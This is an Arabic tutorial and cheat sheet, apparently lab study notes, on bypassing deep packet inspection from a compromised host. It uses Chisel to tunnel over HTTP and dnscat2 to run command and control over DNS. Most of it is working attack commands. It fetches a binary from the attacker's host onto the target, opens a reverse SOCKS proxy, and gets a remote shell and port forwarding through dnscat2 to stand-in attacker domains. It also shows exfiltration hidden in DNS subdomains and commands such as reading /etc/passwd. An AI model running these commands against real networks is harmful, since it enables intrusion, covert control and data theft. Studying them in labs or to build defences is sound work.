Firewalls عادية بتفلتر بالـ IP والبورت فقط — "مين بيكلّم مين". الـ DPI بيروح أعمق بكتير ويفحص محتوى الـ Packets نفسها، بيقدر يتعرّف على بروتوكولات بأكملها من بصمتها بغضّ النظر عن البورت.
| البروتوكول/الأسلوب | بدون DPI | مع DPI (HTTP only policy) |
|---|---|---|
| SSH (port 22 أو custom) | ✓ يعمل | ✗ محجوب — بصمة SSH واضحة |
| Reverse Shell (Netcat, Bash TCP) | ✓ يعمل | ✗ محجوب — Raw TCP مش HTTP |
| SSH Remote Port Forwarding | ✓ يعمل | ✗ محجوب — ترافيك SSH مش HTTP |
| Socat forwards | ✓ يعمل | ✗ محجوب — يشبه TCP خام |
| HTTP / HTTPS | ✓ يعمل | ✓ مسموح |
| DNS Queries (UDP 53) | ✓ يعمل | ✓ دايماً مسموح تقريباً |
اخترقنا CONFLUENCE01 ونقدر ننفَّذ أوامر عبر HTTP.
قواعد DPI: كل الترافيك الصادر محجوب ما عدا HTTP من CONFLUENCE01 | كل البورتات الواردة محجوبة ما عدا TCP:8090 (Confluence).
المطلوب: وصول SSH لـ PGDATABASE01 اللي متاح فقط من الـ Internal Interface الخاص بـ CONFLUENCE01.
الحل: نلفّ ترافيكنا جوّا HTTP — DPI يشوفه HTTP عادي.
Chisel هي أداة Tunneling بتلفّ أي ترافيك TCP/UDP جوّا HTTP/WebSocket عادي. من داخل الـ HTTP channel بتستخدم تشفير على غرار SSH. من منظور DPI — الاتصال يبدو تماماً كـ WebSocket upgrade لتطبيق ويب شرعي.
# نسخ chisel لمجلد Apache
sudo cp $(which chisel) /var/www/html/
sudo systemctl start apache2
# على CONFLUENCE01 — تنزيل الـ Binary عبر HTTP (البروتوكول الوحيد المسموح!)
wget http://192.168.118.4/chisel -O /tmp/chisel
chmod +x /tmp/chisel
chisel server --port 8080 --reverse
# --port 8080 → يستمع لاتصالات HTTP
# --reverse → يسمح بـ Reverse Port Forwarding من الـ Clients
# Listening...
/tmp/chisel client 192.168.118.4:8080 R:socks
# R:socks = افتح Reverse SOCKS Proxy على الـ Server
# → SOCKS5 Proxy يفتح على Kali:1080
ss -ntplu | grep 1080
# → 127.0.0.1:1080 LISTEN ← الـ Proxy شغّال!
# SSH مش بيدعم SOCKS native — نستخدم ncat كـ helper
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
database_admin@10.4.50.215
# Shell على PGDATABASE01 عبر HTTP tunnel!
# DPI شاف HTTP WebSocket فقط
لو Chisel مُجمَّع على GLIBC أحدث من النظام المستهدَف هتلاقي: version 'GLIBC_2.32' not found. الحل: استخدم Build قديمة مجمَّعة بـ Go Runtime أقدم، أو جمَّع الـ Binary على نفس نظام التشغيل المستهدَف.
الإنترنت بيعتمد على IP Addresses — مش أسماء. لما تكتب www.example.com، النظام لازم يترجمها لـ IP أولاً عبر DNS. الـ DNS دايماً مسموح به عبر الـ Firewalls — حتى الأجهزة بدون أي وصول للإنترنت بتعمل DNS queries عبر محرّل داخلي (Internal Resolver) اللي بيعيد توجيهها.
حتى في الشبكات الأكثر تقييداً — لا HTTP، لا HTTPS، لا SSH — DNS query على البورت 53 UDP شبه مضمونة إنها تعدّي. ده بيخلّي DNS آخر قناة هروب ممكنة.
server.example.com → 1.2.3.4بدل ما DNS Query عادية تكون www.example.com — في الـ Tunneling، البيانات بتتشفَّر (Base64) وبتتحشى في اسم الـ Subdomain نفسه:
# DNS Query عادية:
www.example.com → "إيه IP الموقع ده؟"
# DNS Query مع بيانات مُشفَّرة:
aGVsbG8gd29ybGQ.attacker.com
# ↑ الـ Subdomain هو البيانات نفسها (Base64: "hello world")
# المهاجم يفك تشفير الـ Subdomain ويُعيد بناء البيانات الأصلية
echo "aGVsbG8gd29ybGQ" | base64 -d
# → hello world
المهاجم بيُرسَّل الأوامر رجوعاً للجهاز المخترَق عبر TXT Records في الـ DNS Response:
# الاستعلام عن TXT record للـ attacker domain
dig TXT cmd.attacker.com
# → "Y2F0IC9ldGMvcGFzc3dk" (TXT record)
# الجهاز المخترَق يفك التشفير وينفَّذ الأمر
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d
# → cat /etc/passwd ← الأمر اللي المهاجم أرسله!
# النتيجة تتبعث خارجاً في الـ Subdomain للـ Query التالية
| التحدّي | التفاصيل | الحل |
|---|---|---|
| حجم صغير جداً | Max ~253 حرف لكل Subdomain Label | Base64 encoding + تقسيم لـ Chunks (~50-100 bytes) |
| بطء شديد | ملف 1MB = ~10,000+ DNS query | استخدام DNS Tunneling للـ C2 فقط مش نقل بيانات كبيرة |
| قابل للكشف | حجم queries غير طبيعي، Subdomains طويلة | التمويه بين Query وأخرى، اختيار توقيت مناسب |
| Latency عالي | كل Round-Trip مر عبر DNS Hierarchy | تجنّب Sessions تفاعلية — استخدمه لـ One-Shot commands |
dnscat2 هو Framework C2 (Command and Control) كامل مبني على DNS Tunneling. بيوفَّر: Remote Shell — نقل ملفات — Port Forwarding — كل ده مخبَّى جوّا DNS queries عادية. يستخدم Authentication Phrase للتحقق من سلامة النفق.
المهاجم لازم يملك Authoritative DNS Server لدومين يتحكَّم فيه (مثلاً tunnel.attacker.com). يوقَّف أي DNS Service شغّال على البورت 53 أولاً (Dnsmasq, BIND, etc.).
# ====== على جهاز المهاجم (Authoritative NS) ======
# إيقاف أي DNS service شغّال
sudo service dnsmasq stop
# تشغيل dnscat2 server
sudo ruby dnscat2.rb tunnel.attacker.com
# Listening on UDP port 53...
# Waiting for connections...
# ====== على الجهاز المخترَق ======
./dnscat tunnel.attacker.com
# Connecting...
# ====== على الطرفين — التحقق من Authentication Phrase ======
# Server: Secret: 'purple-elephant-dance'
# Client: Secret: 'purple-elephant-dance'
# ↑ يجب أن يتطابقا — يضمن النفق لم يُعترَض
# مراقبة DNS Traffic لتأكيد النشاط
sudo tcpdump -i eth0 udp port 53 -X
# في dnscat2 Server Console:
dnscat2> sessions
# New session established: 1
dnscat2> session -i 1
# Interact with session 1
# فتح Shell تفاعلي
command (session 1)> shell
# Now you have a shell!
# ====== Port Forwarding عبر DNS ======
# إنشاء Port Forward من المهاجم لـ SMB الداخلي
command (session 1)> listen 127.0.0.1:4455
connect 172.16.50.217:445
# Listener created on 127.0.0.1:4455
# الوصول لـ SMB الداخلي عبر نفق DNS!
smbclient -p 4455 //127.0.0.1/scripts -U hr_admin
# ← SMB Shares تظهر عبر DNS queries!
استغلال تطبيق ويب ضعيف على الـ App Server الداخلي — الحصول على Remote Command Execution.
كل الترافيك الصادر محجوب ما عدا DNS. HTTP فشل، SSH فشل، Reverse Shells كلها فشلت.
إعداد External Authoritative DNS Server لدومين يتحكَّم فيه المهاجم (مثلاً attacker-c2.com).
تشغيل dnscat2 على الـ Authoritative Server يستمع على UDP:53.
نقل dnscat2 binary للجهاز المخترَق وتشغيله يشير للدومين المتحكَّم فيه.
DNS queries تتدفَّق عبر Internal Resolver → TLD → Attacker Auth DNS → C2 نشط.
سجلات قاعدة البيانات تتشفَّر في Subdomains وتُرسَل بـ DNS Queries → تُعاد بناؤها على Server المهاجم.
المهاجم يُرسَّل أوامر مُشفَّرة في TXT Records → الـ Client يفكّها وينفَّذها.
Port Forward عبر نفق DNS للوصول للـ File Servers والـ DB Servers الداخلية ببيانات مالية.
فريق الأمان يلاحظ: حجم DNS غير طبيعي، Subdomains طويلة وعشوائية، استعلامات لدومين خارجي غير معروف.
| المعيار | 🌐 Chisel (HTTP Tunneling) | 🔵 dnscat2 (DNS Tunneling) |
|---|---|---|
| متى تستخدمه | HTTP/HTTPS مسموح صادراً | كل شيء محجوب ما عدا DNS — آخر حل |
| الأداء | سريع ومستقر — الخيار الأفضل عند التوفر | بطيء جداً وـ Latency عالية |
| القدرات | Full SOCKS Proxy — أي host/port داخلي | Shell، نقل ملفات، Port Forwarding |
| التشفير | SSH-style داخل HTTP/WebSocket | مُشفَّر — محتوى غير مرئي لـ DPI |
| النشر | Binary واحد — سهل جداً | يحتاج Ruby على الـ Server + Binary للـ Client |
| المتطلبات | Kali يستقبل HTTP من الهدف | Authoritative DNS Server لدومين متحكَّم فيه |
| قابلية الكشف | WebSocket طويل — أحياناً مشبوه | 🔴 مرتفعة — DNS Anomaly Detection |
| حالة الاستخدام | السيناريوهات الشائعة في الـ Engagement | البيئات المقيَّدة للغاية كملاذ أخير |
دايماً جرَّب Chisel أول — أسرع وأسهل وأقل ضوضاء. انتقل لـ dnscat2 فقط لو HTTP Tunneling فشل. في البيئات الحقيقية، امتلك الاثنين جاهزين — كل بيئة بتحجب حاجة مختلفة.
# ===== KALI (Server) =====
# استضافة الـ Binary
sudo cp $(which chisel) /var/www/html/
sudo systemctl start apache2
# تشغيل الـ Server
chisel server --port 8080 --reverse
# التحقق من الـ SOCKS Proxy بعد اتصال Client
ss -ntplu | grep 1080
# → 127.0.0.1:1080
# SSH عبر النفق
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
user@INTERNAL_HOST
# ProxyChains بديل (بعد تعديل /etc/proxychains4.conf)
# أضف: socks5 127.0.0.1 1080
proxychains nmap -sT -p 22,80,443 INTERNAL_HOST
# ===== TARGET (Client) =====
wget http://KALI_IP/chisel -O /tmp/chisel
chmod +x /tmp/chisel
/tmp/chisel client KALI_IP:8080 R:socks
# ===== ATTACKER AUTH DNS SERVER =====
sudo service dnsmasq stop # إيقاف أي DNS service
sudo ruby dnscat2.rb tunnel.attacker.com
# أو بدون Domain (يعمل على IP مباشرة)
sudo ruby dnscat2.rb --dns "host=ATTACKER_IP,port=53"
# مراقبة الترافيك
sudo tcpdump -i eth0 udp port 53 -X
# ===== COMPROMISED HOST (Client) =====
./dnscat tunnel.attacker.com
# أو بـ IP مباشرة
./dnscat --dns "server=ATTACKER_IP,port=53"
# ===== dnscat2 SERVER CONSOLE =====
dnscat2> sessions # عرض الجلسات النشطة
dnscat2> session -i 1 # التفاعل مع جلسة
command (1)> shell # فتح Shell
command (1)> download /etc/passwd /tmp/ # تنزيل ملف
command (1)> upload /tmp/tool /tmp/tool # رفع ملف
command (1)> listen 127.0.0.1:4455 # Port Forward
connect 172.16.50.217:445
# SMB عبر DNS tunnel
smbclient -p 4455 //127.0.0.1/share -U user